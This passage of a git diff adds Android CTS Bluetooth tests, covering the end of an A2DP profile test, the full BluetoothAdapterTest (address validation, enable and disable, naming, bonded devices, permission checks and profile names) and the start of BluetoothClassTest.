+        assertThrows(IllegalArgumentException.class, () -> {
+            mBluetoothA2dp.getCodecStatus(null);
+        });
+    }
+
+    public void test_setCodecConfigPreference() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            mBluetoothA2dp.setCodecConfigPreference(null, null);
+        });
+    }
+
+    public void test_setOptionalCodecsEnabled() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        assertThrows(IllegalArgumentException.class,
+                () -> mBluetoothA2dp.setOptionalCodecsEnabled(null, 0));
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothA2dp
+                .setOptionalCodecsEnabled(testDevice, BluetoothA2dp.OPTIONAL_CODECS_PREF_UNKNOWN));
+        assertThrows(SecurityException.class, () -> mBluetoothA2dp
+                .setOptionalCodecsEnabled(testDevice, BluetoothA2dp.OPTIONAL_CODECS_PREF_DISABLED));
+        assertThrows(SecurityException.class, () -> mBluetoothA2dp
+                .setOptionalCodecsEnabled(testDevice, BluetoothA2dp.OPTIONAL_CODECS_PREF_ENABLED));
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+    }
+
+    private static <T extends Exception> void assertThrows(Class<T> clazz, Runnable r) {
+        try {
+            r.run();
+        } catch (Exception e) {
+            if (!clazz.isAssignableFrom(e.getClass())) {
+                throw e;
+            }
+        }
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothA2dpServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothA2dp = (BluetoothA2dp) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothAdapterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothAdapterTest.java
new file mode 100644
index 0000000..5bdaf30
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothAdapterTest.java
@@ -0,0 +1,646 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothActivityEnergyInfo;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothServerSocket;
+import android.bluetooth.BluetoothStatusCodes;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Very basic test, just of the static methods of {@link
+ * BluetoothAdapter}.
+ */
+public class BluetoothAdapterTest extends AndroidTestCase {
+    private static final String TAG = "BluetoothAdapterTest";
+    private static final int SET_NAME_TIMEOUT = 5000; // ms timeout for setting adapter name
+
+    private boolean mHasBluetooth;
+    private ReentrantLock mAdapterNameChangedlock;
+    private Condition mConditionAdapterNameChanged;
+    private boolean mIsAdapterNameChanged;
+
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        if (mHasBluetooth) {
+            mAdapter = getContext().getSystemService(BluetoothManager.class).getAdapter();
+            assertNotNull(mAdapter);
+            mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        }
+        mAdapterNameChangedlock = new ReentrantLock();
+        mConditionAdapterNameChanged = mAdapterNameChangedlock.newCondition();
+        mIsAdapterNameChanged = false;
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mHasBluetooth) {
+            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public void test_getDefaultAdapter() {
+        /*
+         * Note: If the target doesn't support Bluetooth at all, then
+         * this method should return null.
+         */
+        if (mHasBluetooth) {
+            assertNotNull(BluetoothAdapter.getDefaultAdapter());
+        } else {
+            assertNull(BluetoothAdapter.getDefaultAdapter());
+        }
+    }
+
+    public void test_checkBluetoothAddress() {
+        // Can't be null.
+        assertFalse(BluetoothAdapter.checkBluetoothAddress(null));
+
+        // Must be 17 characters long.
+        assertFalse(BluetoothAdapter.checkBluetoothAddress(""));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("0"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:0"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:0"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:0"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:0"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00:"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00:0"));
+
+        // Must have colons between octets.
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00x00:00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00.00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00-00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00900:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00?00"));
+
+        // Hex letters must be uppercase.
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("a0:00:00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("0b:00:00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:c0:00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:0d:00:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:e0:00:00:00"));
+        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:0f:00:00:00"));
+
+        assertTrue(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00:00"));
+        assertTrue(BluetoothAdapter.checkBluetoothAddress("12:34:56:78:9A:BC"));
+        assertTrue(BluetoothAdapter.checkBluetoothAddress("DE:F0:FE:DC:B8:76"));
+    }
+
+    /** Checks enable(), disable(), getState(), isEnabled() */
+    public void test_enableDisable() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+
+        for (int i = 0; i < 5; i++) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        }
+    }
+
+    public void test_getAddress() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        assertTrue(BluetoothAdapter.checkBluetoothAddress(mAdapter.getAddress()));
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mAdapter.getAddress());
+
+    }
+
+    public void test_setName_getName() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
+        filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
+        mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
+
+        String name = mAdapter.getName();
+        assertNotNull(name);
+
+        // Check renaming the adapter
+        String genericName = "Generic Device 1";
+        mIsAdapterNameChanged = false;
+        assertTrue(mAdapter.setName(genericName));
+        assertTrue(waitForAdapterNameChange());
+        mIsAdapterNameChanged = false;
+        assertEquals(genericName, mAdapter.getName());
+
+        // Check setting adapter back to original name
+        assertTrue(mAdapter.setName(name));
+        assertTrue(waitForAdapterNameChange());
+        mIsAdapterNameChanged = false;
+        assertEquals(name, mAdapter.getName());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mAdapter.setName("The name"));
+        assertThrows(SecurityException.class, () -> mAdapter.getName());
+    }
+
+    public void test_getBondedDevices() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // empty value is returned when Bluetooth is disabled
+        Set<BluetoothDevice> devices = mAdapter.getBondedDevices();
+        assertNotNull(devices);
+        assertTrue(devices.isEmpty());
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        devices = mAdapter.getBondedDevices();
+        assertNotNull(devices);
+        for (BluetoothDevice device : devices) {
+            assertTrue(BluetoothAdapter.checkBluetoothAddress(device.getAddress()));
+        }
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mAdapter.getBondedDevices());
+
+    }
+
+    public void test_getRemoteDevice() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        // getRemoteDevice() should work even with Bluetooth disabled
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        mUiAutomation.dropShellPermissionIdentity();
+
+        // test bad addresses
+        assertThrows(IllegalArgumentException.class, () -> mAdapter.getRemoteDevice((String) null));
+        assertThrows(IllegalArgumentException.class, () ->
+                mAdapter.getRemoteDevice("00:00:00:00:00:00:00:00"));
+        assertThrows(IllegalArgumentException.class, () -> mAdapter.getRemoteDevice((byte[]) null));
+        assertThrows(IllegalArgumentException.class, () ->
+                mAdapter.getRemoteDevice(new byte[] {0x00, 0x00, 0x00, 0x00, 0x00}));
+
+        // test success
+        BluetoothDevice device = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        assertNotNull(device);
+        assertEquals("00:11:22:AA:BB:CC", device.getAddress());
+        device = mAdapter.getRemoteDevice(
+                new byte[] {0x01, 0x02, 0x03, 0x04, 0x05, 0x06});
+        assertNotNull(device);
+        assertEquals("01:02:03:04:05:06", device.getAddress());
+    }
+
+    public void test_getRemoteLeDevice() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        // getRemoteLeDevice() should work even with Bluetooth disabled
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        mUiAutomation.dropShellPermissionIdentity();
+
+        // test bad addresses
+        assertThrows(IllegalArgumentException.class,
+                () -> mAdapter.getRemoteLeDevice((String) null,
+                                                 BluetoothDevice.ADDRESS_TYPE_PUBLIC));
+        assertThrows(IllegalArgumentException.class,
+                () -> mAdapter.getRemoteLeDevice("01:02:03:04:05:06:07:08",
+                                                 BluetoothDevice.ADDRESS_TYPE_PUBLIC));
+        assertThrows(IllegalArgumentException.class,
+                () -> mAdapter.getRemoteLeDevice("01:02:03:04:05",
+                                                 BluetoothDevice.ADDRESS_TYPE_PUBLIC));
+        assertThrows(IllegalArgumentException.class,
+                () -> mAdapter.getRemoteLeDevice("00:01:02:03:04:05",
+                                                 BluetoothDevice.ADDRESS_TYPE_RANDOM + 1));
+        assertThrows(IllegalArgumentException.class,
+                () -> mAdapter.getRemoteLeDevice("00:01:02:03:04:05",
+                                                 BluetoothDevice.ADDRESS_TYPE_PUBLIC - 1));
+
+        // test success
+        BluetoothDevice device = mAdapter.getRemoteLeDevice("00:11:22:AA:BB:CC",
+                BluetoothDevice.ADDRESS_TYPE_PUBLIC);
+        assertNotNull(device);
+        assertEquals("00:11:22:AA:BB:CC", device.getAddress());
+        device = mAdapter.getRemoteLeDevice("01:02:03:04:05:06",
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        assertNotNull(device);
+        assertEquals("01:02:03:04:05:06", device.getAddress());
+    }
+
+    public void test_isLeAudioSupported() throws IOException {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertNotSame(BluetoothStatusCodes.ERROR_UNKNOWN, mAdapter.isLeAudioSupported());
+    }
+
+    public void test_isLeAudioBroadcastSourceSupported() throws IOException {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertNotSame(BluetoothStatusCodes.ERROR_UNKNOWN,
+                mAdapter.isLeAudioBroadcastSourceSupported());
+    }
+
+    public void test_isLeAudioBroadcastAssistantSupported() throws IOException {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertNotSame(BluetoothStatusCodes.ERROR_UNKNOWN,
+                mAdapter.isLeAudioBroadcastAssistantSupported());
+    }
+
+    public void test_getMaxConnectedAudioDevices() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+
+        // Defined in com.android.bluetooth.btservice.AdapterProperties
+        int maxConnectedAudioDevicesLowerBound = 1;
+        // Defined in com.android.bluetooth.btservice.AdapterProperties
+        int maxConnectedAudioDevicesUpperBound = 5;
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        assertTrue(mAdapter.getMaxConnectedAudioDevices() >= maxConnectedAudioDevicesLowerBound);
+        assertTrue(mAdapter.getMaxConnectedAudioDevices() <= maxConnectedAudioDevicesUpperBound);
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mAdapter.getMaxConnectedAudioDevices());
+    }
+
+    public void test_listenUsingRfcommWithServiceRecord() throws IOException {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        BluetoothServerSocket socket = mAdapter.listenUsingRfcommWithServiceRecord(
+                "test", UUID.randomUUID());
+        assertNotNull(socket);
+        socket.close();
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mAdapter.listenUsingRfcommWithServiceRecord(
+                    "test", UUID.randomUUID()));
+    }
+
+    public void test_discoverableTimeout() {
+        if (!mHasBluetooth) {
+            // Skip the test if bluetooth is not present.
+            return;
+        }
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertEquals(-1, mAdapter.getDiscoverableTimeout());
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertEquals(120, mAdapter.getDiscoverableTimeout());
+    }
+
+    public void test_getConnectionState() {
+        if (!mHasBluetooth) return;
+
+        // Verify return value if Bluetooth is not enabled
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertEquals(BluetoothProfile.STATE_DISCONNECTED, mAdapter.getConnectionState());
+    }
+
+    public void test_getMostRecentlyConnectedDevices() {
+        if (!mHasBluetooth) return;
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class, () -> mAdapter.getMostRecentlyConnectedDevices());
+
+        // Verify return value if Bluetooth is not enabled
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        List<BluetoothDevice> devices = mAdapter.getMostRecentlyConnectedDevices();
+        assertTrue(devices.isEmpty());
+    }
+
+    public void test_getUuids() {
+        if (!mHasBluetooth) return;
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        // Verify return value without permission.BLUETOOTH_CONNECT
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mAdapter.getUuidsList());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertNotNull(mAdapter.getUuidsList());
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify return value if Bluetooth is not enabled
+        assertEquals(0, mAdapter.getUuidsList().size());
+
+    }
+
+    public void test_nameForState() {
+        assertEquals("ON", BluetoothAdapter.nameForState(BluetoothAdapter.STATE_ON));
+        assertEquals("OFF", BluetoothAdapter.nameForState(BluetoothAdapter.STATE_OFF));
+        assertEquals("TURNING_ON",
+                BluetoothAdapter.nameForState(BluetoothAdapter.STATE_TURNING_ON));
+        assertEquals("TURNING_OFF",
+                BluetoothAdapter.nameForState(BluetoothAdapter.STATE_TURNING_OFF));
+
+        assertEquals("BLE_ON", BluetoothAdapter.nameForState(BluetoothAdapter.STATE_BLE_ON));
+
+        // Check value before state range
+        for (int state = 0; state < BluetoothAdapter.STATE_OFF; state++) {
+            assertEquals("?!?!? (" + state + ")", BluetoothAdapter.nameForState(state));
+        }
+        // Check value after state range (skip TURNING_OFF)
+        for (int state = BluetoothAdapter.STATE_BLE_ON + 2; state < 100; state++) {
+            assertEquals("?!?!? (" + state + ")", BluetoothAdapter.nameForState(state));
+        }
+    }
+
+    public void test_BluetoothConnectionCallback_disconnectReasonText() {
+        assertEquals("Reason unknown", BluetoothAdapter.BluetoothConnectionCallback
+                .disconnectReasonText(BluetoothStatusCodes.ERROR_UNKNOWN));
+    }
+
+    public void test_registerBluetoothConnectionCallback() {
+        if (!mHasBluetooth) return;
+
+        Executor executor = mContext.getMainExecutor();
+        BluetoothAdapter.BluetoothConnectionCallback callback =
+                new BluetoothAdapter.BluetoothConnectionCallback() {
+                    @Override
+                    public void onDeviceConnected(@NonNull BluetoothDevice device) {}
+                    @Override
+                    public void onDeviceDisconnected(BluetoothDevice device, int reason) {}
+
+                };
+
+        // placeholder call for coverage
+        callback.onDeviceConnected(null);
+        callback.onDeviceDisconnected(null, BluetoothStatusCodes.ERROR_UNKNOWN);
+
+        // Verify parameter
+        assertFalse(mAdapter.registerBluetoothConnectionCallback(null, callback));
+        assertFalse(mAdapter.registerBluetoothConnectionCallback(executor, null));
+        assertFalse(mAdapter.unregisterBluetoothConnectionCallback(null));
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mAdapter.registerBluetoothConnectionCallback(executor, callback));
+
+        mUiAutomation.dropShellPermissionIdentity();
+        // Verify throws SecurityException without permission.BLUETOOTH_CONNECT
+        assertThrows(SecurityException.class, () ->
+                mAdapter.registerBluetoothConnectionCallback(executor, callback));
+        assertThrows(SecurityException.class, () ->
+                mAdapter.unregisterBluetoothConnectionCallback(callback));
+    }
+
+    public void test_registerServiceLifecycleCallback() {
+        if (!mHasBluetooth) return;
+
+        BluetoothAdapter.ServiceLifecycleCallback callback =
+                new BluetoothAdapter.ServiceLifecycleCallback() {
+                    @Override
+                    public void onBluetoothServiceUp() {}
+                    @Override
+                    public void onBluetoothServiceDown() {}
+                };
+
+        // Verify parameter
+        assertThrows(NullPointerException.class,
+                () -> mAdapter.registerServiceLifecycleCallback(null));
+
+        assertThrows(NullPointerException.class,
+                () -> mAdapter.unregisterServiceLifecycleCallback(null));
+    }
+
+    public void test_requestControllerActivityEnergyInfo() {
+        if (!mHasBluetooth) return;
+
+        BluetoothAdapter.OnBluetoothActivityEnergyInfoCallback callback =
+                new BluetoothAdapter.OnBluetoothActivityEnergyInfoCallback() {
+                    @Override
+                    public void onBluetoothActivityEnergyInfoAvailable(
+                            BluetoothActivityEnergyInfo info) {
+                        assertNotNull(info);
+                    }
+
+                    @Override
+                    public void onBluetoothActivityEnergyInfoError(int errorCode) {}
+                };
+
+        // Verify parameter
+        assertThrows(NullPointerException.class,
+                () -> mAdapter.requestControllerActivityEnergyInfo(null, callback));
+    }
+
+    public void test_clearBluetooth() {
+        if (!mHasBluetooth) return;
+
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class, () -> mAdapter.clearBluetooth());
+        mUiAutomation.dropShellPermissionIdentity();
+        // Verify throws SecurityException without permission.BLUETOOTH_CONNECT
+        assertThrows(SecurityException.class, () -> mAdapter.clearBluetooth());
+
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        // Verify throws RuntimeException when trying to save sysprop for later (permission denied)
+        assertThrows(RuntimeException.class, () -> mAdapter.clearBluetooth());
+    }
+
+    public void test_BluetoothProfile_getConnectionStateName() {
+        if (!mHasBluetooth) return;
+
+        assertEquals("STATE_DISCONNECTED",
+                BluetoothProfile.getConnectionStateName(BluetoothProfile.STATE_DISCONNECTED));
+        assertEquals("STATE_CONNECTED",
+                BluetoothProfile.getConnectionStateName(BluetoothProfile.STATE_CONNECTED));
+        assertEquals("STATE_CONNECTING",
+                BluetoothProfile.getConnectionStateName(BluetoothProfile.STATE_CONNECTING));
+        assertEquals("STATE_CONNECTED",
+                BluetoothProfile.getConnectionStateName(BluetoothProfile.STATE_CONNECTED));
+        assertEquals("STATE_DISCONNECTING",
+                BluetoothProfile.getConnectionStateName(BluetoothProfile.STATE_DISCONNECTING));
+        assertEquals("STATE_UNKNOWN",
+                BluetoothProfile.getConnectionStateName(BluetoothProfile.STATE_DISCONNECTING + 1));
+    }
+
+    public void test_BluetoothProfile_getProfileName() {
+        if (!mHasBluetooth) return;
+        assertEquals("HEADSET",
+                BluetoothProfile.getProfileName(BluetoothProfile.HEADSET));
+        assertEquals("A2DP",
+                BluetoothProfile.getProfileName(BluetoothProfile.A2DP));
+        assertEquals("HID_HOST",
+                BluetoothProfile.getProfileName(BluetoothProfile.HID_HOST));
+        assertEquals("PAN",
+                BluetoothProfile.getProfileName(BluetoothProfile.PAN));
+        assertEquals("PBAP",
+                BluetoothProfile.getProfileName(BluetoothProfile.PBAP));
+        assertEquals("GATT",
+                BluetoothProfile.getProfileName(BluetoothProfile.GATT));
+        assertEquals("GATT_SERVER",
+                BluetoothProfile.getProfileName(BluetoothProfile.GATT_SERVER));
+        assertEquals("MAP",
+                BluetoothProfile.getProfileName(BluetoothProfile.MAP));
+        assertEquals("SAP",
+                BluetoothProfile.getProfileName(BluetoothProfile.SAP));
+        assertEquals("A2DP_SINK",
+                BluetoothProfile.getProfileName(BluetoothProfile.A2DP_SINK));
+        assertEquals("AVRCP_CONTROLLER",
+                BluetoothProfile.getProfileName(BluetoothProfile.AVRCP_CONTROLLER));
+        // assertEquals("AVRCP",
+        //         BluetoothProfile.getProfileName(BluetoothProfile.AVRCP));
+        assertEquals("HEADSET_CLIENT",
+                BluetoothProfile.getProfileName(BluetoothProfile.HEADSET_CLIENT));
+        assertEquals("PBAP_CLIENT",
+                BluetoothProfile.getProfileName(BluetoothProfile.PBAP_CLIENT));
+        assertEquals("MAP_CLIENT",
+                BluetoothProfile.getProfileName(BluetoothProfile.MAP_CLIENT));
+        assertEquals("HID_DEVICE",
+                BluetoothProfile.getProfileName(BluetoothProfile.HID_DEVICE));
+        assertEquals("OPP",
+                BluetoothProfile.getProfileName(BluetoothProfile.OPP));
+        assertEquals("HEARING_AID",
+                BluetoothProfile.getProfileName(BluetoothProfile.HEARING_AID));
+        assertEquals("LE_AUDIO",
+                BluetoothProfile.getProfileName(BluetoothProfile.LE_AUDIO));
+        assertEquals("HAP_CLIENT",
+                BluetoothProfile.getProfileName(BluetoothProfile.HAP_CLIENT));
+
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+
+        assertEquals("VOLUME_CONTROL",
+                BluetoothProfile.getProfileName(BluetoothProfile.VOLUME_CONTROL));
+        assertEquals("CSIP_SET_COORDINATOR",
+                BluetoothProfile.getProfileName(BluetoothProfile.CSIP_SET_COORDINATOR));
+        assertEquals("LE_AUDIO_BROADCAST",
+                BluetoothProfile.getProfileName(BluetoothProfile.LE_AUDIO_BROADCAST));
+        assertEquals("LE_AUDIO_BROADCAST_ASSISTANT",
+                BluetoothProfile.getProfileName(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT));
+    }
+
+    private static void sleep(long t) {
+        try {
+            Thread.sleep(t);
+        } catch (InterruptedException e) { }
+    }
+
+    private boolean waitForAdapterNameChange() {
+        mAdapterNameChangedlock.lock();
+        try {
+            // Wait for the Adapter name to be changed
+            while (!mIsAdapterNameChanged) {
+                if (!mConditionAdapterNameChanged.await(
+                        SET_NAME_TIMEOUT, TimeUnit.MILLISECONDS)) {
+                    Log.e(TAG, "Timeout while waiting for adapter name change");
+                    break;
+                }
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForAdapterNameChange: interrrupted");
+        } finally {
+            mAdapterNameChangedlock.unlock();
+        }
+        return mIsAdapterNameChanged;
+    }
+
+    private final BroadcastReceiver mAdapterNameChangeReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (action.equals(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED)) {
+                mAdapterNameChangedlock.lock();
+                mIsAdapterNameChanged = true;
+                try {
+                    mConditionAdapterNameChanged.signal();
+                } catch (IllegalMonitorStateException ex) {
+                } finally {
+                    mAdapterNameChangedlock.unlock();
+                }
+            }
+        }
+    };
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothClassTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothClassTest.java
new file mode 100644
index 0000000..a22c2c8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothClassTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothClass;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+/**
+ * Unit test cases for {@link BluetoothClass}.
+ * <p>
+ * To run this test, use adb shell am instrument -e class 'android.bluetooth.BluetoothClassTest' -w
+ * 'com.android.bluetooth.tests/android.bluetooth.BluetoothTestRunner'
+ */
+public class BluetoothClassTest extends AndroidTestCase {
+
+    private BluetoothClass mBluetoothClassHeadphones;
+    private BluetoothClass mBluetoothClassPhone;
+    private BluetoothClass mBluetoothClassService;
+
+    private BluetoothClass createBtClass(int deviceClass) {
+        Parcel p = Parcel.obtain();
+        p.writeInt(deviceClass);
+        p.setDataPosition(0); // reset position of parcel before passing to constructor
+
+        BluetoothClass bluetoothClass = BluetoothClass.CREATOR.createFromParcel(p);
+        p.recycle();
+        return bluetoothClass;
+    }
+
+    @Override
+    protected void setUp() {
